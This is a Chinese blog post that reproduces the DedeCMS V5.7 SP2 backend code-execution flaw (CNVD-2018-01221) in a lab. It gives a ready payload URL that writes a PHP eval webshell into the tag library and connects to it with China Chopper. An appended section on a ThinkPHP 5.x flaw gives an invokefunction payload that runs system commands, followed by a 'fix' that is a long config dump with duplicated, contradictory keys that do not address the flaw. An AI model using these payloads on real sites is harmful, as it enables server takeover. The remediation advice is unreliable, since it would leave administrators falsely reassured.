DedeCMS V5.7 SP2 后台代码执行漏洞-CNVD-2018-01221

织梦内容管理系统(DedeCms)是一款PHP开源网站管理系统。DeDeCMS V5.7 SP2版本中的tpl.php中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。

首先我们先去官网下载DedeCMS V5.7 SP2

下载网址:http://www.dedecms.com/products/dedecms/downloads/

源代码版本:DeDeCMS V5.7 SP2(UTF-8)

然后把环境搭好,设置好各项参数。

漏洞复现

这个漏洞就比较鸡肋,因为需要搞到管理员的权限,也就是要能登录后台。

我们这里直接用刚刚设置好的管理员密码登录。

后台登录文件在 uploads/dede/login.php

在这里插入图片描述
我们登录到后台后,需要分析tpl.php 的代码,漏洞也是出现在这里。

tpl.php 文件在 uploads\dede\tpl.php

在这里插入图片描述
然后直接跳到第251行

第251行定义了一个savetagfile的函数,然后判断,参数”action”是否等于“savetagfile”,如果等于则执行该选择结构。

在这里插入图片描述
然后是第253行,这有一个CSRF校验函数,需要加上token来绕过限制。

在这里插入图片描述
接着是254行的正则表达式,这个正则是用来判断 filename 参数是否匹配正则表达式的条件,不匹配就不执行修改操作并退出。

在这里插入图片描述
最后是第264行,这里把 content 参数里面的内容写入到相对用的路径里,由于这一部分代码除了对写入的文件名字做了简单的过滤和一个csrf防护之外,其他并没有什么安全措施,导致我们可以任意写入代码。

在这里插入图片描述
通过第154行的代码,有csrf检测防御,需要获得token来进行绕过。再次浏览tpl.php代码,发现action的参数有很多,比如del,edit,upload等等,但只有传入upload的时候页面才会获取token,而其他的都没有获取token,所以只能通过action=upload来获取token。

在这里插入图片描述
所以我们用浏览器浏览

http://192.168.30.129/DedeCMS5.7/uploads/dede/tpl.php?action=upload

也就是uploads/dede/tpl.php?action=upload

我们就是需要先登录后台才能正常访问。

在这里插入图片描述
然后右键查看源代码我们就可以在第34行看到token的值了

在这里插入图片描述
由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。

可以把content内容直接写到以.lib.php结尾的文件中。

我们就可以构造payload了

Payload: http://192.168.30.129/DedeCMS5.7/uploads/dede/tpl.php?action=savetagfile&token=e75ea37627a60b8a5d0511e2170a668b&filename=abc.lib.php&content=%3C?php%20@eval($_REQUEST[%22test%22]);?%3E

也就是上传一句话木马 <?php @eval($_REQUEST["test"]);?>

在这里插入图片描述
文件上传成功,文件在 dedecms/uploads/include/taglib/abc.lib.php

在这里插入图片描述在这里插入图片描述
再用菜刀连接,完成。

在这里插入图片描述
参考:https://www.cnblogs.com/yuzly/p/11326571.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
漏洞描述: ThinkPHP是一款快速、简单的PHP开发框架,该框架在处理某些特定情况下的输入时存在代码执行漏洞。攻击者可以通过构造恶意的输入数据,利用该漏洞执行任意代码,从而控制服务器。 漏洞影响: ThinkPHP 5.0.x - 5.0.18 版本 ThinkPHP 5.1.x - 5.1.0-beta.5 版本 漏洞利用: 攻击者可以通过在URL中添加参数,或者在POST请求中添加参数,来触发该漏洞。下面是一个简单的例子: http://example.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 漏洞修复: 1.升级到最新版本的ThinkPHP 2.禁用动态调用方法 在config.php文件中添加以下配置: 'APP_DEBUG' => false, 'APP_USE_NAMESPACE' => true, 'DEFAULT_FILTER' => 'htmlspecialchars', 'DEFAULT_CONTROLLER' => 'index', 'URL_CASE_INSENSITIVE' => true, 'URL_MODEL' => '2', 'URL_PATHINFO_DEPR' => '/', 'URL_ROUTER_ON' => true, 'URL_ROUTE_RULES' => array( ), 'DEFAULT_MODULE' => 'index', 'URL_HTML_SUFFIX' => '.html', 'APP_AUTOLOAD_PATH' => '@.TagLib', 'APP_AUTOLOAD_LAYER' => 'Controller,Model', 'APP_AUTOLOAD_PATH' => '@.TagLib', 'APP_AUTOLOAD_LAYER' => 'Controller,Model', 'DEFAULT_FILTER' => 'htmlspecialchars', 'DEFAULT_TIMEZONE' => 'Asia/Shanghai', 'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl', 'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl', 'DEFAULT_AJAX_RETURN' => 'JSON', 'TOKEN_ON' => true, 'TOKEN_NAME' => '__hash__', 'TOKEN_TYPE' => 'md5', 'TOKEN_RESET' => true, 'VAR_FILTERS' => 'htmlspecialchars', 'SESSION_AUTO_START' => true, 'DEFAULT_LANG' => 'zh-cn', 'APP_GROUP_LIST' => 'Home,Admin', 'APP_GROUP_MODE' => 1, 'APP_GROUP_PATH' => 'Modules', 'AUTOLOAD_PATH' => 'Think.Util', 'APP_TAGS_ON' => true, 'APP_SUB_DOMAIN_DEPLOY' => false, 'APP_SUB_DOMAIN_RULES' => array(), 'OUTPUT_ENCODE' => false, 'COOKIE_EXPIRE' => 0, 'COOKIE_DOMAIN' => '', 'COOKIE_PATH' => '/', 'COOKIE_PREFIX' => '', 'URL_PARAMS_BIND' => true, 'URL_404_REDIRECT' => '', 'DB_TYPE' => 'mysql', 'DB_HOST' => '127.0.0.1', 'DB_NAME' => 'thinkphp', 'DB_USER' => 'root', 'DB_PWD' => '', 'DB_PORT' => '3306', 'DB_PREFIX' => 'tp_', 'DB_FIELDTYPE_CHECK' => false, 'DB_FIELDS_CACHE' => true, 'DB_CHARSET' => 'utf8', 'DB_DEBUG' => true, 'DB_LITE' => false, 'DB_DEPLOY_TYPE' => 0, 'DB_RW_SEPARATE' => false, 'DB_MASTER_NUM' => 1, 'DB_SLAVE_NO' => '', 'DB_SQL_BUILD_CACHE' => false, 'DB_SQL_BUILD_LENGTH' => 20, 'TIME_ZONE' => 'PRC', 'SHOW_PAGE_TRACE' => false, 'LOG_RECORD' => true, 'LOG_TYPE' => 'File', 'LOG_LEVEL' => 'EMERG,ALERT,CRIT,ERR', 'LOG_FILE_SIZE' => 2097152, 'LOG_EXCEPTION_RECORD' => false, 'LOG_AUTO_RECORD' => true, 'SESSION_OPTIONS' => array(), 'SESSION_TYPE' => '', 'SESSION_PREFIX' => 'think', 'SESSION_EXPIRE' => 3600, 'SESSION_TABLE' => '', 'SESSION_COOKIE_NAME' => '', 'SESSION_AUTO_START' => true, 'SESSION_GC_DIVISOR' => 10000, 'SESSION_GC_MAXLIFETIME' => 1440, 'SESSION_DOMAIN' => '', 'SESSION_PATH' => '/', 'SESSION_SECURE' => false, 'SESSION_HTTPONLY' => true, 'VAR_SESSION_ID' => 'session_id', 'CACHE_TYPE' => 'File', 'CACHE_EXPIRE' => 0, 'CACHE_PREFIX' => '', 'CACHE_PATH' => TEMP_PATH, 'CACHE_FILE_SUFFIX' => '.php', 'CACHE_SERIALIZE' => true, 'CACHE_CHECK' => false, 'TMPL_CACHE_ON' => true, 'TMPL_CACHE_PREFIX' => '', 'TMPL_CACHE_TIME' => 0, 'TMPL_CACHE_PATH' => CACHE_PATH, 'TMPL_CACHE_FILE_SUFFIX' => '.php', 'TMPL_CACHE_FILE_EXT' => '.php', 'TMPL_CACHE_CHECK' => true, 'TMPL_EXCEPTION_FILE' => THINK_PATH . 'Tpl/think_exception.tpl', 'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl', 'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl', 'TMPL_DETECT_THEME' => false, 'TMPL_TEMPLATE_SUFFIX' => '.html', 'TMPL_ENGINE_TYPE' => 'Think', 'TMPL_CACHFILE_SUFFIX' => '.php', 'TMPL_DENY_FUNC_LIST' => 'echo,exit', 'TMPL_DENY_PHP' => false, 'TMPL_L_DELIM' => '{', 'TMPL_R_DELIM' => '}', 'TMPL_VAR_IDENTIFY' => 'array', 'TMPL_STRIP_SPACE' => true, 'TMPL_CACHE_ON' => false, 'TMPL_LAYOUT_ITEM' => '{__CONTENT__}', 'TMPL_CONTENT_TYPE' => 'text/html', 'TMPL_ACTION_ERROR' => APP_PATH . 'Tpl/error.tpl', 'TMPL_ACTION_SUCCESS' => APP_PATH . 'Tpl/success.tpl', 'LANG_SWITCH_ON' => false, 'LANG_AUTO_DETECT' => true, 'LANG_LIST' => 'zh-cn', 'VAR_LANGUAGE' => 'l', 'LANG_AUTO_REDIRECT' => false, 'TEMPLATE_CHARSET' => 'utf-8', 'COOKIE_HTTPONLY' => '', 'SECURE_FILTER' => '', 'CRYPT_TYPE' => 'Think', 'AUTH_KEY' => 'AuthKey', 'SECURITY_KEY' => 'SecurityKey', 'TOKEN_ON' => false, 'TOKEN_NAME' => '__hash__', 'TOKEN_TYPE' => 'md5', 'TOKEN_RESET' => true, 'TOKEN_CRYPT' => false, 'VAR_FILTERS' => '', 'DEFAULT_MODULE' => 'Home', 'DEFAULT_ACTION' => 'index', 'DEFAULT_THEME' => '', 'THEME_LIST' => '', 'THEME_DEFAULT' => '', 'THEME_ON' => false, 'THEME_FILE_SUFFIX' => '.html', 'THEME_TEMPLATE_SUFFIX' => '.html', 'THEME_TEMPLATE_PREFIX' => '', 'THEME_TEMPLATE_SUFFIX' => '.html', 'THEME_TEMPLATE_SEPARATOR' => '_',
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值